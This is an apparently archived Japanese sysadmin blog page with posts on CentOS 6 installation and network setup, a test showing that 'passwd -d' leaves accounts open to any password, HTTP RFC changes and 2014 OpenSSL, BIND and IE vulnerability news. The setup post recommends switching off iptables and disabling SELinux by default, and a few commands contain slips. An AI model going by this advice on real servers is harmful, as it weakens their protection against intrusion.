txqueuelen:0 RX bytes:272 (272.0 b) TX bytes:272 (272.0 b)
"eth0"が有効化され、きちんと設定されています。
これでリモート接続ができる環境になりましたね。
次からSSH接続して作業を行っていきます。
ネットワーク周りの設定
redhat/CentOSであれば、自動起動でSSHは起動していますので、
この時点ではSSHでrootユーザーからも接続が可能です。
しかし、同じネットワーク帯なら接続できますが、デフォルトでiptablesも設定されているため、
上手く接続できない場合は一旦停止しておきましょう。
※作業サーバが公開されていない事が大前提です。FWの外側、外部からアクセスできる環境にサーバがある場合、不用意には無効化してはいけません。
# service iptables off
ホスト名の確認。
インストール時に設定してホスト名になっていますか?
# cat /etc/sysconfig/network NETWORKING=yes HOSTNAME=devos-01
設定したホスト名に特にDNS設定を行わない、完全修飾ドメインで無いのであればhostsに登録します。
# vi /etc/hosts 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 192.168.247.128 devos-01
DNSサーバの設定。
キャッシュDNSサーバを設定します。
内部にキャッシュDNSがあればそこを、無ければGoogleのキャッシュDNSサーバとかでいいんじゃないですかね。
# vim /etc/resolv.conf nameserver 192.168.247.2
NetworkManagerを利用している場合、NICにDNSサーバの情報を記載します。
NICにPEERDNSの記述がnoで設定してある場合、NICの設定が優先されます。
固定IPを設定する場合APIPAを無効化しましょう。
# vim /etc/sysconfig/network NOZEROCONF=yes
IPv6の無効化。
今後はどうなんでしょうね?
サービスやネットワークで利用しないのであれば無効化しておきましょう。
# vim /etc/sysconfig/network IPV6INIT=no NETWORKING_IPV6=no IPV4_FAILRE_FATAL=yes
# vim /etc/modprobe.d/dist-ipv6.conf options ipv6 disable=1
ネットワークを再起動して、設定を反映させましょう。
modprobeの設定は再起動しないとですが、ネットワークの設定変更後にすぐ再起動は少し怖いですからね.
# service network restart
ちなみに、IPアドレスを変更しないでネットワークを再起動した場合、下記のようなメッセージが出る場合あります。
インターフェース eth0 を活性化中: Determining if ip address 10.96.146.152 is already in use for device eth0...
NIC設定を反映させる際、スクリプトは設定されたIPアドレスが使用可能かどうか、
arpingコマンドによりチェックを行なう処理が入っているらしい。
echo $"Determining if ip address ${ipaddr[$idx]} is already in use for device ${REALDEVICE}..."
if ! /sbin/arping -q -c 2 -w 3 -D -I ${REALDEVICE} ${ipaddr[$idx]} ; then
net_log $"Error, some other host already uses address ${ipaddr[$idx]}."
exit 1
fi
そのため、IPを変えたりせずに再起動を行なうと、arpキャッシュ自体はあるので、
すでに使用済みですよ!というメッセージが表示される事になる。
NIC設定ファイルにarpチェックを行なわないよう、下記記述を追加する事もできます
ARPCHECK=no
SELinuxの無効化
私もSELinux無効化派です。
余計な管理やミドルウェアの動きを妨げる可能性があるので、無効化しましょう。
# vim /etc/selinux/config SELINUX=disabled
設定を反映させるため、一回サーバを再起動しましょう。
再起動後設定が反映されているか確認しましょう。
# getenforce Disabled # modprobe -c |grep ipv6 options ipv6 disable=1---
よっしゃー!次は標準パッケージを少しカスタマイズしていきましょう。
中井 悦司
技術評論社
売り上げランキング: 101,118
技術評論社
売り上げランキング: 101,118
Linuxサーバを作る
7系が出て、色々変わって騒がれていますが、
もう少し安定バージョンX.3~くらいになるまではまだまだ6系がメインでしょ!と思い。
Redhat/CentOSの6系OSの設定作業について、簡単に一回纏めとこうと思います。
今回設定するのは当然、フリーのCentOSです。
CentOSのインストール
インストールメディアの準備
そもそもクラウドメインの最近ではインストール自体、やらない作業になってきていますね。
CentOSのメディアは下記サイトからダウンロード可能です。
http://www.centos.org/download/
昔に比べて分かりにくくなった気がしますが、ミラーリストの近くて早いサイトから落とします。
参考までに、日本だと"riken"が安定しているかもしれません。
ここからインストールメディアを作成するためのISOファイルを入手し、インストールします。
私はあまり余計なパッケージを最初から入れたくないので、
必要最低限がパッケージされている"minimal"を入手します。
OSのインストール
今回はVM仮想にインストールするので、ISOファイルそのままインストールを行いましょう。
VM環境の準備は今回は割愛。
ISOからブートするとインストールウィザードが始まります。
※GUIでのインストールを行うにはサーバのメモリが652MB以上でないとコマンドインストールになります。
インストール言語を選択。
キーボード言語を選択。
インストールするサーバのストレージタイプを選択。
SANとかではなく、サーバローカルにインストールするのでそのまま。
インストールディスク内容の確認。
今回は初めてのインストールでハードディスク上にデータは無いため無視してインストール。
既存サーバの空きパーティションにインストールする場合なんかは「いいえ」を選択。
ホスト名(サーバ名)の入力。後で変更可能です。
次にネットワークの設定。後で変更可能。
インストール後に設定でも大丈夫です。
サーバ時刻の設定。後で変更可能。
管理者ユーザー(root)アカウントのパスワード設定。後で変更可能。
管理者ユーザーの権限は絶大です。公開するサーバであればきちんとセキュリティの高いパスワードを設定しましょう。
インストールパーティションの選択。
インストールサーバのパーティションと相談し決めましょう。
特にキメが無いのであれば、LVMを利用したフル領域のインストールでいいと思います。
※「システムを暗号化する」にチェックを入れた場合、起動時に認証処理が走り成功しないと起動しません。
サービス用サーバとして使う場合、自動起動してこないので注意が必要です。
※インストールディスクのサイズが50GB以上で、「全ての領域を使用する」を選択した場合、
勝手にLVMパーティションが区切られてます。
ある程度のディスクサイズ以上のサーバにインストールする場合、チェックを入れて必ず確認しましょう。
好みでカスタマイズするのもアリです。
私はboot領域に500MBもいらないと思うので、少し調整したりします。
パーティションの推奨値についてはredhatのインストールガイドを参考にしています。
ここで問題なければ「次へ」を押した後、ディスクのフォーマットが始まり、パーティションが構成されます。
ここで間違いがあった場合、再インストールになりかねないのできちんと確認します。
ここまでくればほぼ終了。
後ははいはいでインストールは進みます。
ちなみに、フルパッケージのインストールメディアでインストールを行っていた場合、
このインストール画面の前に、どのパッケージを入れるか選択画面があります。
今回はminimalパッケージと最初からしているので割愛。
これでインストール完了です。お疲れ様でした。
最後に再起動しましょう。
次はサーバとして活躍できるよう、OSの設定を行います。
辻 秀典 渡辺 高志 できるシリーズ編集部
インプレスジャパン
売り上げランキング: 86,051
インプレスジャパン
売り上げランキング: 86,051
2014/07/19
GitBucketを使用しよう
chefの連携や、今となってはスタンダードとなったGit開発について、
いざGitの勉強や、捜査に慣れるため。
また、社内にプライベートレポジトリを持てるようGitHubのような環境が欲しいと思い、
色々調べてみたのですが、
なんといってもインストールがめんどくさい!
こういうものはあまり基盤側に負担をかけたくない。
インストーラー一つ位で簡単にできるの無いかな~と思い調べてみたら
「GitBucket」というJavaアプリをデプロイするだけの簡単GitHubクローンがある!
早速インストールしてみた!
>> 続きを読む
いざGitの勉強や、捜査に慣れるため。
また、社内にプライベートレポジトリを持てるようGitHubのような環境が欲しいと思い、
色々調べてみたのですが、
なんといってもインストールがめんどくさい!
こういうものはあまり基盤側に負担をかけたくない。
インストーラー一つ位で簡単にできるの無いかな~と思い調べてみたら
「GitBucket」というJavaアプリをデプロイするだけの簡単GitHubクローンがある!
早速インストールしてみた!
>> 続きを読む
大塚 弘記
技術評論社
売り上げランキング: 3,794
技術評論社
売り上げランキング: 3,794
2014/06/28
Linux パスワードのロック
AWSの登場ごろから、ユーザーにパスワードを設定せず
鍵認証でのアクセス方法がスタンダードになってきた気がします。
しかしOS上はsudo等で利用するためパスワードは設定しておきたい所です。
そんな環境でテストを行っているときに、少し怖かったこと。
テストを行う上で、きちんとパスワード認証が弾かれるか、
パスワードではなく鍵認証でログインできるかを確認するために、
パスワードを設定したり、空にしたりしたかったのですが。
いつもパスワードを空にする際には
# passwd -d hogehogeとやっていたのですが、ふとシャドウファイルを見てみると
# view /etd/shadow ~省略 hogehoge::16248:0:99999:7:::あれ?「!!」になっていない?
よくよく調べてみると
# man passwd
~省略
あるアカウントのパスワードを直ちに期限切れにしたい場合は、 -e オプションを用いればよい。するとそのユーザは次に
ログインする際にパスワードを変更するよう強制される。 -d オプションを使って、ユーザのパスワードを削除することも
できる (パスワードが空になる)。このオプションは注意して使うこと。これを使うと、そのアカウントはログインにパ ス
ワードを全く必要としなくなり、システムが侵入者に対してオープンになってしまう。
おいおい!
ためしにSSHやFTPしてみたらどんなパスワードでもログインできた!
じゃぁいったいどうしたらよいのか?
パスワードが設定されていない場合、シャドウファイルには「!!」と書かれている
確かに passwd -d では パスワードの項目が空にはなっていても、!!にはなっていない。
ん~あまり直接このファイルを弄るのはスマートでは無い気がする。というか駄目でしょ。
調べてみたら、そもそもパスワードの無効化とか、空にする、という考え方から違った
/etc/shadow のパスワード欄にある「!!」 は パスワードが空という意味ではなく
パスワードが無効化され「ロック」状態ですよという事だった。
確認
# passwd -d hogehoge hogehoge::16248:0:99999:7:::
# passwd -l hogehoge hogehoge:!!:16248:0:99999:7:::
おお!確かに。
# man passwd
-l フラグと -u フラグを用いると、ユーザアカウントをロックしたり、そのロックを外したりできる。 -l オプションを
用いると、パスワードフィールドの値は暗号化された如何なる値ともマッチしなくなり、アカウントは使用不能にな る 。
改めてネット情報を鵜呑みにすることの怖さ、man という基本的なところの大切さを学びました。
今まで・・・考えないようにしておこう。
中井 悦司
技術評論社
売り上げランキング: 35,867
技術評論社
売り上げランキング: 35,867
2014/06/14
シェルスクリプト 文法チェックしてる?
確かに!
シェルスクリプトを作成するとき、動くこと、ロジックに問題が無いことは確認するけど、
Bashが推奨しているコマンドの実行方法、書き方なんて意識した事なかった。
下記がまるでHTMLみたいにレビューしてくれるサイト
Shell Check
多少レビュー結果に怪しいところ、読み込みの精度に怪しいところがありますが、
結構参考に、というか勉強になります。
沓名 亮典
技術評論社
売り上げランキング: 50,304
技術評論社
売り上げランキング: 50,304
HTTPの標準規格が改定
ひっそりと、HTTPのRFCが改定されたようです。
改定されたのは15年ぶりということですが、
変更は、曖昧さの排除や、無駄な空白文字や改行の排除など、
セキュリティを強化する方向への変更だそうです。
HTTP/2.0になったわけでも、大きな変更があるわけではないですが、
この業界の人は最低限チェックしておきましょう。
主な変更点下記のような内容
- 圧縮方式からidenty 方式がなくなった
- HTTP/HTTPSのURIに、ユーザ名やパスワードなどの情報を付加することが禁止になった
- 圧縮形式の定義は、IETFへの登録と認可が必要になった
- HTTP/0.9のサポートが必要ではなくなった
- HTTPメッセージのバッファリングを許容
- 無効な空白文字が含まれるメッセージをリジェクトすることが求められるようになった
- 空白文字の使用箇所は明示的に提示された
- NUL文字をコメントなどに含めることは許容されなくなった
- エスケープ文字としてのバックスラッシュの使い方を明確にした
- ヘッダフィールド内の非US-ASCIIコンテンツは廃止(テキストルールから削除)
- 空のリストは禁止された
- ヘッダーに改行を含む記述をすることは排除された
- エラー処理の説明を追加
- コンテンツ長ヘッダが偽造されていた場合、エラーとして処理することが求められるようになった
- チャンクでの転送時のチャンク長はヘッダーとトレーラーを含まないこととした。
- HTTPのHeaderのVersion フィールドにのせるバージョン名"HTTP/1.1"が大文字限定になり番号の桁数も1桁限定になった
- メッセージ長を決定するアルゴリズムでの例外を排除し、より明確になった
- deflateの定義明確になった
- Upgadeヘッダーの構文が明確になった
- OPTIONメソッドによる共有の制限
- "Effective Request URI"が新たに定義された。
- ゲートウェイが、VIA ヘッダを付加する必要がなくなった
- CLOSEを送信すべきタイミングを明確にした。
- サーバーあたり2接続数の制限がなくなりました。
- KEEP-ALIVE の問題を記述し、クライアントが、REQにProxy-Connectionヘッダーを含めないように推奨している。
- RFC2818で定義されていたHTTPSのURIスキームがRFC7230で定義されるようになった
- RFC2817の7.2に記載されていた "Hypertext Transfer Protocol (HTTP) Upgrade Token Registry"が 8.6に収容された
簡単に調べた範囲での情報なので、下記サイトも参考に再確認しましょう。
世界は急には変わりませんが、意外に気になるものもあるので、チェックチェック。
世界は急には変わりませんが、意外に気になるものもあるので、チェックチェック。
山本 陽平
技術評論社
売り上げランキング: 31,535
技術評論社
売り上げランキング: 31,535
Open SSL Change Cipher Spec メッセージ処理の脆弱性
最近何かとトレンドのOpenSSLさん。
脆弱性が、バグが無くなるなんて思ってもいないけど、
ちょっと周期が早くないですかね。
IPA上では危険度は「警告」程度ですが
「OpenSSL」における Change Cipher Spec メッセージ処理の脆弱性対策について
OpenSSL における Change Cipher Spec メッセージの処理に脆弱性
「もし」の場合の危険度は結構高めなので、
またまた対応に追われるはめに。
脆弱性が、バグが無くなるなんて思ってもいないけど、
ちょっと周期が早くないですかね。
IPA上では危険度は「警告」程度ですが
「OpenSSL」における Change Cipher Spec メッセージ処理の脆弱性対策について
OpenSSL における Change Cipher Spec メッセージの処理に脆弱性
「もし」の場合の危険度は結構高めなので、
またまた対応に追われるはめに。
John Viega Matt Messier Pravir Chandra 齋藤 孝道
オーム社
売り上げランキング: 143,921
オーム社
売り上げランキング: 143,921
2014/05/11
BIND 9.10.0の脆弱性(DNSサービスの停止)について
まだまだ終わらせない!
脆弱性ラーッシュ!
ま
脆弱性なんて毎日報告されているので
いい加減慣れてきましたが、
対象がBindなのでなおさらです。
今回の問題は、名前解決のパフォーマンス向上を目的に、
キャッシュ済みのリソースレコードをキャッシュの満了前に自動的に再検索する
先読みのような機能「プリフェッチ(prefetch)」という機能の脆弱性。
RedHat等配布のRPMはまだ新しく提供されたばっかりなので
対象サーバは少ないかもしれませんが
Cricket Liu Paul Albitz
オライリージャパン
売り上げランキング: 184,521
オライリージャパン
売り上げランキング: 184,521
2014/05/03
Internet Explorer の脆弱性
最近、「致命的な脆弱性」が多い気がする
おかげでちょっとの脆弱性でもクライアントが大騒ぎです。
まぁ今回IE脆弱性は使わなければよかったんですけど
未だに対象ブラウザーをIE推奨でアプリケーションを作ることが多いので
説明しなければいけないという問題が手間でした。
その時にググってて知ったのですが
「インターネットがヤバい!」「ぶらうざ?」「パッチ?」「対策方法がわからない!」
等本当にあるんですね。
きっと、だから攻撃も、詐欺もなくならないんでしょう
日本はITリテラシーが高いそうですが
IT技術は進歩する、そして完成はしないということを
改めて認識するいい機会だったのかもしれません。
- セキュリティ情報
- Microsoft パッチ公開情報
ちなみに私はChrome派です。
IEは・・・社内システムやアプリ検証ぐらいしか利用しませんね。
Adobe Acrobat X Standard Windows版 (Acrobat 11への無償アップグレード対象 2012/12/30まで)
posted with amazlet at 14.05.04
アドビシステムズ (2010-12-01)
売り上げランキング: 1,915
売り上げランキング: 1,915






















